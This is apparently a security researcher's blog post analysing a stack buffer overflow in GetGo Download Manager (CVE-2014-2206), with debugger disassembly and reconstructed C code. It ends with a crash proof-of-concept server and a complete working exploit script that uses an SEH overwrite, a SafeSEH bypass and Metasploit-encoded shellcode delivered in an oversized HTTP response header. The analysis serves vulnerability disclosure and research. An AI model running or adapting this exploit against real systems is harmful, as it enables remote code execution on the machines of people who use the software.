I’ve published another security advisory about a remote code execution vulnerability with a CVSS score of 10,0 today. Affected are all available versions of the GetGo Download Manager, so if you’re still using this software you should immediately switch to a more secure one, because the GetGo project is dead, but still high-rated by cnet.com.

This article is a quick’n’dirty root-cause analysis of the bug, tested using a fully patched, DEP-enabled Windows 7×64:

When a website is requested for download, the application reads the HTTP Response Header values of the target page and copies the retrieved values to a temporary buffer, which is set to a fixed size of 4097 bytes, but this size is not used by the application to limit the input to the buffer. Instead it fills the buffer byte by byte until the terminating sequence “\r\n” is found. Therefore the application writes outside the expected memory boundaries if the HTTP Response Header is greater than 4097 bytes.

Let’s have a look at how the application handles HTTP downloads.

When you request to download a webpage like this, the debugger jumps in at the breakpoint at 0x004A4CF4, which is the entry point to the vulnerable code part:

004A4CDE   . 8B4D 08        MOV ECX,DWORD PTR SS:[EBP+8]
004A4CE1   . 51             PUSH ECX                                 ; /Arg3
004A4CE2   . 68 01100000    PUSH 1001                                ; |Arg2 = 00001001
004A4CE7   . 8D95 DCEFFFFF  LEA EDX,DWORD PTR SS:[EBP-1024]          ; |
004A4CED   . 52             PUSH EDX                                 ; |Arg1
004A4CEE   . 8B8D 9CEFFFFF  MOV ECX,DWORD PTR SS:[EBP-1064]          ; |
004A4CF4   . E8 77EDFFFF    CALL GetGoDM.004A3A70                    ; \GetGoDM.004A3A70

The function call takes 3 arguments to further process them. A mapped c-style function call might look like this:

int vuln_func(void *buffer, size_t arg2, int arg3)

The stack contains the three arguments, whereat Arg1 points to a buffer at 0x0430C390, Arg2 is 0x00001001 and Arg3 is 0x00000078:

getgo-rce-2

A small side-notice: You can completely ignore Arg3 in this vulnerability-case, because this value is only used as the timeout value for a ws2_32 select call which is involved in reading the bytes from the socket:

getgo-rce-2b

WTF happens here ?

The first important instruction set in vuln_func() is located at:

004A3A9F  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]
004A3AA2  |. 50             PUSH EAX
004A3AA3  |. 6A 00          PUSH 0
004A3AA5  |. 8B4D 08        MOV ECX,DWORD PTR SS:[EBP+8]
004A3AA8  |. 51             PUSH ECX
004A3AA9  |. E8 F2650400    CALL GetGoDM.004EA0A0

The function call at 0x004A3AA9 takes the same 3 arguments like the calling function, which are pushed on the stack:

0430C2E4   0430C390  | arg1
0430C2E8   00000000  | arg2
0430C2EC   00001001  | arg3

It performs a simple memset call – so the function call looks like this:

void memset(void *arg1, int arg2, size_t arg3)

Memset simply fills up memory space (arg1) with some unsigned char values (arg2) up to a specified number of bytes (arg3). This means that the buffer space at 0x430C390 is cleared out with 4097 bytes of 0x00s.

Next up: The vulnerable code part:

getgo-rce-3

I think this really needs some clarification and therefore I divide this loop into two pieces.

Part #1 – Read one byte of the HTTP response header

004A3AE3  |. 8B45 10        |MOV EAX,DWORD PTR SS:[EBP+10]
004A3AE6  |. 50             |PUSH EAX                                ; /Arg3
004A3AE7  |. 6A 01          |PUSH 1                                  ; |Arg2 = 00000001
004A3AE9  |. 8B4D F0        |MOV ECX,DWORD PTR SS:[EBP-10]           ; |
004A3AEC  |. 8B55 08        |MOV EDX,DWORD PTR SS:[EBP+8]            ; |
004A3AEF  |. 8D440A FF      |LEA EAX,DWORD PTR DS:[EDX+ECX-1]        ; |
004A3AF3  |. 50             |PUSH EAX                                ; |Arg1
004A3AF4  |. 8B4D D8        |MOV ECX,DWORD PTR SS:[EBP-28]           ; |
004A3AF7  |. 83C1 0C        |ADD ECX,0C                              ; |
004A3AFA  |. E8 81A4FFFF    |CALL GetGoDM.0049DF80                   ; \GetGoDM.0049DF80

The call at 0x004A3AFA takes three arguments:

int read_byte(void *buffer, char *arg2, int arg3)

whereas the first argument arg1 points to the buffer, arg2 is always 0x00000001 and arg3 is always 0x00000078. This function simply reads 1 byte from the received HTTP response header, puts the value into the buffer and returns 1 if the byte was successfully read.

A CMP instruction at the end indicates whether the byte was successfully read, otherwise the function will jump out of the loop at 0x004A3B0F.

004A3AFF  |. 8945 E8        |MOV DWORD PTR SS:[EBP-18],EAX
004A3B02  |. 837D E8 00     |CMP DWORD PTR SS:[EBP-18],0
004A3B06  |. 75 09          |JNZ SHORT GetGoDM.004A3B11
004A3B08  |. C745 EC 000000>|MOV DWORD PTR SS:[EBP-14],0
004A3B0F  |. EB 49          |JMP SHORT GetGoDM.004A3B5A

Part #2 – Compare the received string to “\r\n”

004A3B26  |. 6A 00          |PUSH 0                                  ; /Arg2 = 00000000
004A3B28  |. 68 F8D76600    |PUSH GetGoDM.0066D7F8                   ; |Arg1 = 0066D7F8 ASCII "
"
004A3B2D  |. 8D4D E4        |LEA ECX,DWORD PTR SS:[EBP-1C]           ; |
004A3B30  |. E8 2B5AF6FF    |CALL GetGoDM.00409560                   ; \GetGoDM.00409560

The function call at 0x004A3B30 takes at the first look only two parameters – Arg1 contains a string-sequence which translates to “\r\n” and Arg2 is always 0x00000000.

Additionally the function itself reads the already received bytes from the stack to compare both values:

0040959E  |. 0345 0C        ADD EAX,DWORD PTR SS:[EBP+C]             ; |
004095A1  |. 50             PUSH EAX                                 ; |Arg1
004095A2  |. E8 79120A00    CALL GetGoDM.004AA820                    ; \GetGoDM.004AA820
getgo-rce-4b

So the function call looks like this:

signed int search_teminator(*buffer, "\r\n", 0)

This function returns -1 if the string “\r\n” was not found, this leads to the following CMP:

004A3B38  |. 837D E0 FF     |CMP DWORD PTR SS:[EBP-20],-1
004A3B3C  |. 74 11          |JE SHORT GetGoDM.004A3B4F

The return value of the function search_teminator() is CMP’ed to -1, which means the JMP is taken and the application continues to execute the following instructions including a JMP back to the beginning of the code-part:

004A3B4F  |> 8B55 F0        |MOV EDX,DWORD PTR SS:[EBP-10]
004A3B52  |. 83C2 01        |ADD EDX,1
004A3B55  |. 8955 F0        |MOV DWORD PTR SS:[EBP-10],EDX
004A3B58  |.^EB 80          \JMP SHORT GetGoDM.004A3ADA

But if the string “\r\n” is found the function search_terminator() returns the position of the string, which leads to the CMP statement returning false” and the following statements are executed including a jump out of the loop:

004A3B3E  |. 8B45 08        |MOV EAX,DWORD PTR SS:[EBP+8]
004A3B41  |. 0345 E0        |ADD EAX,DWORD PTR SS:[EBP-20]
004A3B44  |. C600 00        |MOV BYTE PTR DS:[EAX],0
004A3B47  |. 8B4D E0        |MOV ECX,DWORD PTR SS:[EBP-20]
004A3B4A  |. 894D EC        |MOV DWORD PTR SS:[EBP-14],ECX
004A3B4D  |. EB 0B          |JMP SHORT GetGoDM.004A3B5A

Reverse Engineering

The vulnerable code-part can be roughly translated to a C code snippet like:

int vuln_func(void *buffer, size_t arg2, int arg3)
{
  int a;
  signed int b;

  memset(void *buffer, 0, arg2);

  while (1)
  {
    a = read_byte(*buffer, 1 , arg3)
    if ( !a )
    {
      goto fail;
    }

    b = search_terminator(*buffer, "\r\n", 0)
    if ( b != -1 )
      break;
  }

fail:
  return 0;
}

Do you see the problem here ? The size argument (arg2) is used to prepare memory space using memset, but the loop reads all bytes from the header response until there’s a “\r\n” completely ignoring arg2. Now…if an attacker is able to supply more than 4097 bytes as the HTTP response header, the loop writes outside the expected memory boundaries, which leads to a stack-based buffer overflow condition, resulting in Remote Code Execution.

One PoC to pwn it

The following PoC creates an arbitrary webserver, that responds with an over-sized HTTP header:

from socket import *
from time import sleep

host = "192.168.0.1"
port = 80

s = socket(AF_INET, SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print "\n[+] Listening on %d ..." % port

cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]

payload = "\xCC" * 9000

buffer = "HTTP/1.1 200 "+payload+"\r\n"

print cl.recv(1000)
cl.send(buffer)
print "[+] Sending buffer: OK\n"

sleep(1)
cl.close()
s.close()

…and this results in EIP control. Pretty cool :-)!

Update #1

I’ve just released a working exploit over at Exploit-DB for this vulnerability. Enjoy!

#!/usr/bin/python
# Exploit Title: GetGo Download Manager HTTP Response Header Buffer Overflow Remote Code Execution
# Version:       v4.9.0.1982
# CVE:           CVE-2014-2206
# Date:          2014-03-09
# Author:        Julien Ahrens (@MrTuxracer)
# Homepage:      https://www.rcesecurity.com
# Software Link: http://www.getgosoft.com
# Tested on:     WinXP SP3-GER 
#
# Howto / Notes:
# SEH overwrite was taken from outside of loaded modules, because all modules are SafeSEH-enabled
#

from socket import *
from time import sleep
from struct import pack

host = "192.168.0.1"
port = 80

s = socket(AF_INET, SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print "\n[+] Listening on %d ..." % port

cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]

junk0 = "\x90" * 4107
nseh = "\x90\x90\xEB\x06"
seh=pack('L',0x00280b0b)  # call dword ptr ss:[ebp+30] [SafeSEH Bypass]
nops = "\x90" * 50

# windows/exec CMD=calc.exe 
# Encoder: x86/shikata_ga_nai
# powered by Metasploit 
# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0a\x0d'

shellcode = ("\xda\xca\xbb\xfd\x11\xa3\xae\xd9\x74\x24\xf4\x5a\x31\xc9" +
"\xb1\x33\x31\x5a\x17\x83\xc2\x04\x03\xa7\x02\x41\x5b\xab" +
"\xcd\x0c\xa4\x53\x0e\x6f\x2c\xb6\x3f\xbd\x4a\xb3\x12\x71" +
"\x18\x91\x9e\xfa\x4c\x01\x14\x8e\x58\x26\x9d\x25\xbf\x09" +
"\x1e\x88\x7f\xc5\xdc\x8a\x03\x17\x31\x6d\x3d\xd8\x44\x6c" +
"\x7a\x04\xa6\x3c\xd3\x43\x15\xd1\x50\x11\xa6\xd0\xb6\x1e" +
"\x96\xaa\xb3\xe0\x63\x01\xbd\x30\xdb\x1e\xf5\xa8\x57\x78" +
"\x26\xc9\xb4\x9a\x1a\x80\xb1\x69\xe8\x13\x10\xa0\x11\x22" +
"\x5c\x6f\x2c\x8b\x51\x71\x68\x2b\x8a\x04\x82\x48\x37\x1f" +
"\x51\x33\xe3\xaa\x44\x93\x60\x0c\xad\x22\xa4\xcb\x26\x28" +
"\x01\x9f\x61\x2c\x94\x4c\x1a\x48\x1d\x73\xcd\xd9\x65\x50" +
"\xc9\x82\x3e\xf9\x48\x6e\x90\x06\x8a\xd6\x4d\xa3\xc0\xf4" +
"\x9a\xd5\x8a\x92\x5d\x57\xb1\xdb\x5e\x67\xba\x4b\x37\x56" +
"\x31\x04\x40\x67\x90\x61\xbe\x2d\xb9\xc3\x57\xe8\x2b\x56" +
"\x3a\x0b\x86\x94\x43\x88\x23\x64\xb0\x90\x41\x61\xfc\x16" +
"\xb9\x1b\x6d\xf3\xbd\x88\x8e\xd6\xdd\x4f\x1d\xba\x0f\xea" +
"\xa5\x59\x50")

payload = junk0 + nseh + seh + nops + shellcode

buffer = "HTTP/1.1 200 "+payload+"\r\n"

print cl.recv(1000)
cl.send(buffer)
print "[+] Sending buffer: OK\n"

sleep(3)
cl.close()
s.close()